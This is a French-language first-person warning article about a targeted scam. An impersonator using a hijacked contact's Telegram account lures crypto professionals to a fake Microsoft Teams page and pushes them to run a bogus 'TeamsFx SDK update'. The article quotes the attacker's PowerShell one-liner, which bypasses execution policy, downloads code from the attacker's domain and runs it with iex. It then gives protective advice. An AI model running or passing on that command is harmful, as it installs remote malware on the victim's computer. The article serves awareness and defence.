J'ai failli me faire pirater lors d'un appel Microsoft Teams — Voici comment fonctionne l'arnaque

Laissez-moi vous raconter comment j’ai failli devenir victime d’un schéma d’ingénierie sociale élaboré conçu pour exploiter quelque chose de si routinier et apparemment inoffensif qu’un appel Microsoft Teams plus tôt aujourd’hui. 

Pendant la majeure partie de l’interaction, rien ne semblait anormal. 

Quelqu’un que je croyais être un contact professionnel m’a contacté pour organiser une réunion sur Microsoft Teams, et ma nature collaborative n’était que trop heureuse de sauter sur l’appel. 

Spoiler : la personne de l’autre côté était un imposteur, et elle a essayé de me faire exécuter du code malveillant sur mon ordinateur. 

Je raconte toute cette expérience ici pour mettre en garde mes amis, connaissances et contemporains de la communauté crypto et Web3. 

C’était presque moi aujourd’hui ; cela pourrait bien être quelqu’un d’autre demain. 

Étape 1 : La mise en place — « Appel de retrouvailles, vieil ami » 

Lorsque vous recevez un message texte du compte Telegram de quelqu’un que vous connaissez comme un employé de haut rang d’une agence de relations publiques crypto bien connue, la dernière chose à laquelle vous pensez est que vous êtes piégé dans un hameçonnage. 

Aucun des indicateurs d’alerte typiques n’était immédiatement apparent non plus. 

Il ne s’agissait pas d’un message direct aléatoire. 

Je ne parlais pas à un compte imposteur où le « i » est subtilement remplacé par un « l ». 

J’avais même un historique de chat avec le compte, donc je pensais avoir la vraie personne de l’autre côté. 

Rien ne semblait déplacé, depuis le début d’une conversation entièrement amicale pour renouer les liens. Bientôt, un lien Calendly pour réserver une réunion de 30 minutes et une invitation à un appel Microsoft Teams.

Comme je l’ai dit plus tôt, mon radar n’a jamais sonné une seule fois tout au long de l’interaction. J’ai ressenti le même niveau de professionnalisme et de patience qu’on s’attendrait à trouver chez un membre du personnel de haut rang d’une agence de relations publiques de premier plan. 

Tout ce que je savais, c’est que j’avais programmé une réunion Teams depuis la page Calendly d’un contact professionnel.

L’escroc initie le contact en utilisant un compte piraté, envoyant un lien de réunion Teams.

Étape 2 : Le piège « Rejoindre uniquement sur bureau » 

Le jour de la réunion est arrivé, et j’ai cliqué sur le lien de réunion Teams sur mon téléphone, comme je l’ai fait au moins mille fois par le passé. Cependant, cela n’a pas directement mené à la réunion comme d’habitude. Au lieu d’être redirigé vers l’appel, un écran s’est chargé affirmant « L’accès à cette réunion via les appareils mobiles n’est pas autorisé en raison des paramètres de l’organisateur. » 

« Oh non ! Cela ne m’est jamais arrivé auparavant. » 

Eh bien, ce n’était pas non plus un accident. 

En y réfléchissant, c’était probablement le premier véritable indicateur d’alerte. 

L’écran d’erreur fait partie du design. Les escrocs ont besoin que vous soyez sur un bureau ou un ordinateur portable car leur charge malveillante est un script en ligne de commande qui ne s’exécute que sur les PC.

L’URL dans la barre d’adresse « teams.livescalls.com » n’est PAS le véritable domaine de Microsoft.

Les réunions Teams légitimes utilisent teams.microsoft.com ou teams.live.com.

Le domaine « livescalls.com » semble assez proche du vrai de loin, mais il est en fait très éloigné de la réalité si on regarde de près. 

L’un est le site contrôlé par Microsoft, qui revendique plus de 320 millions d’utilisateurs actifs quotidiens. L’autre est un site entièrement faux, contrôlé par les attaquants. 

Pour être juste, certaines organisations peuvent utiliser des domaines personnalisés pour leurs réunions d’équipe. Cependant, avec plus de 1 000 milliards de dollars perdus au profit des escrocs en 2025, selon le Forum économique mondial, c’était une raison suffisante pour moi de ne pas ignorer mon instinct. 

La fausse page « Avis d’accès à l’équipe » bloque l’accès mobile, forçant les victimes à utiliser un ordinateur de bureau où le script malveillant peut s’exécuter. Notez l’URL : teams.livescalls.com — ce n’est pas un domaine Microsoft.

L’escroc presse la victime de rejoindre l’appel sur ordinateur de bureau après le blocage mobile, affirmant que « les partenaires attendent ».

Étape 3 : La charge utile — « Mettez à jour votre SDK TeamsFx »

Une fois sur ordinateur de bureau, la fausse réunion Teams affichait une page au design professionnel, ressemblant à ce que l’on verrait dans la documentation officielle de Microsoft. Elle incluait même un langage Microsoft réel indiquant que le SDK TeamsFx serait déprécié d’ici septembre 2025. 

La solution ? Copier un bloc de code et l’exécuter dans votre terminal ou l’invite de commandes.

Si vous avez pris la peine de faire une recherche Google, vous constaterez qu’un SDK similaire existe effectivement. Mais vous n’en avez pas besoin pour cet appel Teams. 

Le code semble inoffensif au premier abord : il définit des variables d’environnement avec des noms qui sonnent officiels, comme TeamsFx_API_KEY et MS_Teams_API_SECRET. Mais le véritable vecteur d’attaque se cache quelque part au milieu, et ces attaquants ne comptent pas sur vous pour repérer le problème :

powershell -ep bypass -c “(iwr -Uri https://teams.livescalls.com/developer/sdk/update/version/085697307 -UserAgent ‘teamsdk’ -UseBasicParsing).Content | iex”

Cette seule ligne contourne les politiques de sécurité de PowerShell (-ep bypass), télécharge du code depuis le serveur de l’attaquant et l’exécute immédiatement (iex = Invoke-Expression). 

Et ainsi, quel que soit le logiciel malveillant, le keylogger ou l’outil d’accès à distance que les attaquants ont hébergé, il est installé silencieusement sur votre appareil.

L’interface fausse de la réunion Teams montrant la page malveillante « Mise à jour du SDK TeamsFx » présentée aux participants. Notez les participants à l’appel — des vidéos générées par l’IA.

Étape 4 : La phase de pression « Ne vous inquiétez pas, c’est sûr »

Lorsque j’ai exprimé mon hésitation à exécuter le script, l’imposteur a immédiatement délivré une combinaison de réassurance et de pression. 

La ligne « Ne vous inquiétez pas, c’est très simple et sûr pour vous » était censée m’inciter à suivre les instructions de la capture d’écran montrant comment ouvrir l’invite de commandes sur mon PC. 

« Les partenaires sont déjà entrés dans Zoom » était censé me faire sentir la pression de ne pas obliger tout le monde à changer de plateforme parce que je n’arrivais pas à comprendre comment exécuter une simple invite de commandes.

Je n’étais pas rassuré. Je n’étais pas non plus sous pression.

Lorsque j’ai suggéré de déplacer l’appel sur Google Meet, ils ont refusé. Apparemment, leur arnaque ne fonctionne que via leur fausse configuration Teams.

L’escroc envoie des instructions étape par étape pour exécuter le code malveillant, rassurant la victime : « Ne vous inquiétez pas, c’est très simple et sûr pour vous. »

Étape 5 : Le bluff démasqué — Bloqué et supprimé

J’ai confirmé mes soupçons après avoir vérifié le script et le domaine : j’étais victime d’ingénierie sociale et j’étais à quelques étapes de faire partie des statistiques du Forum économique mondial de 2026. 

J’ai dit directement à l’escroc : « Je viens de vérifier et cette commande et le site web ne sont pas légitimes. Malheureusement, je ne pourrai pas le faire. » J’ai proposé de poursuivre la conversation sur Google Meet s’ils voulaient toujours discuter.

« Mais la réunion est en cours maintenant », a été le message de l’autre côté. 

Comme prévu, leur réponse visait à me faire réaliser l’urgence de rejoindre l’appel. Après tout, je ne voudrais pas faire attendre tous ces partenaires trop longtemps.

Quelques instants plus tard, ils ont supprimé toute notre correspondance et m’ont bloqué. 

Ah… Ce n’est pas juste un drapeau rouge. Parlez-moi de nuances de cramoisi. 

Les contacts professionnels ne suppriment pas tout l’historique de leur conversation et ne vous bloquent pas dès que vous mettez en doute une mise à jour logicielle.

Après que l’arnaque a été démasquée, l’attaquant insiste sur le fait que la réunion est « en cours maintenant » avant de supprimer tous les messages et de bloquer la victime.

Comment vous protéger

Ce type d’attaque est en forte augmentation dans les secteurs de la crypto, du Web3 et de la technologie. Les escrocs compromettent ou usurpent de vrais comptes appartenant à des professionnels des relations publiques, des investisseurs et des chefs de projet pour cibler des individus à haute valeur. Voici comment rester en sécurité :

• N’exécutez jamais de commandes depuis une page de réunion. Aucune plateforme d’appel vidéo légitime ne vous demandera jamais de coller du code dans votre terminal ou l’Invite de commandes.
• Vérifiez l’URL. Les vraies réunions Microsoft Teams se trouvent sur teams.microsoft.com ou teams.live.com — pas « teams.livescalls.com » ou tout autre domaine imitateur.
• Méfiez-vous des exigences « uniquement sur bureau ». Si une réunion bloque l’accès mobile, c’est une tactique délibérée pour vous placer sur une machine où des scripts peuvent être exécutés.
• Vérifiez l’identité de la personne par un canal séparé. Si un contact connu vous envoie un lien de réunion inhabituel, appelez-le directement ou envoyez-lui un message sur une autre plateforme pour confirmer.
• Méfiez-vous de « powershell -ep bypass » et « iex ». Ce sont les deux plus grands indicateurs d’alerte dans n’importe quel script. Le premier désactive la sécurité, le second exécute aveuglément le code téléchargé.
• Si vous avez déjà exécuté le script : Déconnectez-vous d’Internet immédiatement. Exécutez une analyse complète des logiciels malveillants (Malwarebytes, Windows Defender Hors ligne). Changez tous les mots de passe depuis un autre appareil propre. Surveillez les portefeuilles crypto et les comptes bancaires pour détecter toute transaction non autorisée.

Pourquoi cela importe pour la crypto et le Web3

Je ne qualifierais pas cela d’une interaction de phishing typique, où les attaquants jettent un large filet et voient ce qu’ils attrapent. 

Non, c’était une opération d’ingénierie sociale ciblée et multi-jours. Les attaquants se sont fait passer pour des contemporains de l’industrie pendant des jours, créant un lien de confiance et préparant le terrain pour vous guider discrètement vers la résolution d’un problème technique lors d’un appel Teams via une fausse page Microsoft convaincante. 

Qu’ils volent vos identifiants, vident votre portefeuille crypto ou installent un logiciel malveillant d’accès à distance persistant, les attaquants ont tout à gagner et rien à perdre. 

Si vous êtes un fondateur, un investisseur ou quiconque participe à des réunions dans l’espace crypto et tech, partagez cet article avec votre équipe. Les personnes qui organisent ces arnaques s’améliorent, et la seule défense est la sensibilisation.